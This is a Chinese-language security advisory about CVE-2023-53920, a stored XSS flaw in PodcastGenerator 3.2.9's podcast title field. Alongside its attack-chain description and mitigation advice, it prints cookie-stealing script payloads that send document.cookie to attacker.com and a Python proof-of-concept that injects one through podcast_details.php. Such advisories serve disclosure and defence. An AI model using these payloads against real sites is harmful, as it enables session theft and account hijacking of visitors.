IPBUF安全漏洞报告
English
CVE-2023-53920 CVSS 5.4 中危

CVE-2023-53920 PodcastGenerator存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2023-53920
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
PodcastGenerator

相关标签

存储型XSSPodcastGeneratorCVE-2023-53920跨站脚本Web应用安全内容管理播客平台

漏洞概述

CVE-2023-53920是PodcastGenerator 3.2.9版本中存在的一个存储型跨站脚本攻击(Stored XSS)漏洞。该漏洞位于播客标题字段,通过podcast_details.php页面进行访问。攻击者可以在播客标题中注入恶意的JavaScript脚本,当其他用户访问应用程序主页时,这些恶意脚本会自动执行。存储型XSS相比反射型XSS更加危险,因为恶意代码被永久存储在服务器端,所有访问该页面的用户都会受到攻击影响。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或传播恶意软件。由于该漏洞需要低权限用户即可实施,且需要用户交互才能触发,因此在CVSS评分中Confidentiality和Integrity影响评级为低。PodcastGenerator是一款开源的播客生成和管理软件,广泛应用于个人和组织的播客内容管理场景中。

技术细节

该存储型XSS漏洞源于PodcastGenerator 3.2.9版本对用户输入的播客标题字段缺乏充分的输入验证和输出编码。攻击流程如下:首先,攻击者以低权限用户身份登录PodcastGenerator系统,访问podcast_details.php页面;在播客标题输入框中注入恶意JavaScriptPayload,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>;系统将该恶意标题未经适当转义直接存储到数据库中;当其他用户访问应用主页时,服务器从数据库读取包含恶意脚本的播客标题,并在HTML响应中直接输出;浏览器将恶意JavaScript代码作为合法脚本执行,从而窃取用户敏感信息或执行攻击者指定的操作。漏洞的根本原因是应用程序在处理用户输入时未遵循安全编码最佳实践,未对特殊字符进行HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者获取PodcastGenerator系统的低权限账户(如贡献者或普通用户账号)
STEP 2
步骤2
攻击者登录系统后访问admin/podcast_details.php页面
STEP 3
步骤3
在播客标题输入字段中注入包含恶意JavaScript代码的XSS Payload
STEP 4
步骤4
系统将恶意Payload未经适当转义存储到数据库中
STEP 5
步骤5
当普通用户访问应用程序主页时,服务器从数据库读取并输出包含恶意脚本的播客标题
STEP 6
步骤6
用户浏览器将恶意JavaScript作为合法脚本执行,导致Cookie被窃取或会话被劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2023-53920 PoC - Stored XSS in PodcastGenerator # Target: PodcastGenerator 3.2.9 # Attack Vector: Inject malicious JS in podcast title field via podcast_details.php TARGET_URL = "http://target.com/podcastgenerator" LOGIN_URL = f"{TARGET_URL}/login.php" DETAILS_URL = f"{TARGET_URL}/admin/podcast_details.php" # Malicious XSS payload - steals cookies XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit(): # Step 1: Authenticate with low privilege account session = requests.Session() login_data = { 'username': 'attacker', 'password': 'password123' } resp = session.post(LOGIN_URL, data=login_data) # Step 2: Inject XSS payload in podcast title field exploit_data = { 'podcastTitle': XSS_PAYLOAD, 'submit': 'Save' } resp = session.post(DETAILS_URL, data=exploit_data) # Step 3: Payload stored and executed when users visit homepage print(f"XSS payload injected: {XSS_PAYLOAD}") print(f"Payload will execute when users visit: {TARGET_URL}/index.php") if __name__ == "__main__": exploit()

影响范围

PodcastGenerator 3.2.9

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制低权限用户对podcast_details.php的访问权限;2)在Web应用防火墙(WAF)中配置XSS防护规则,对特殊字符进行过滤;3)对输出到HTML的内容实施严格的HTML编码,将<、>、"、'、&等特殊字符转换为HTML实体;4)启用HTTPOnly和Secure标志保护会话Cookie;5)监控应用日志关注异常的JavaScript代码注入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表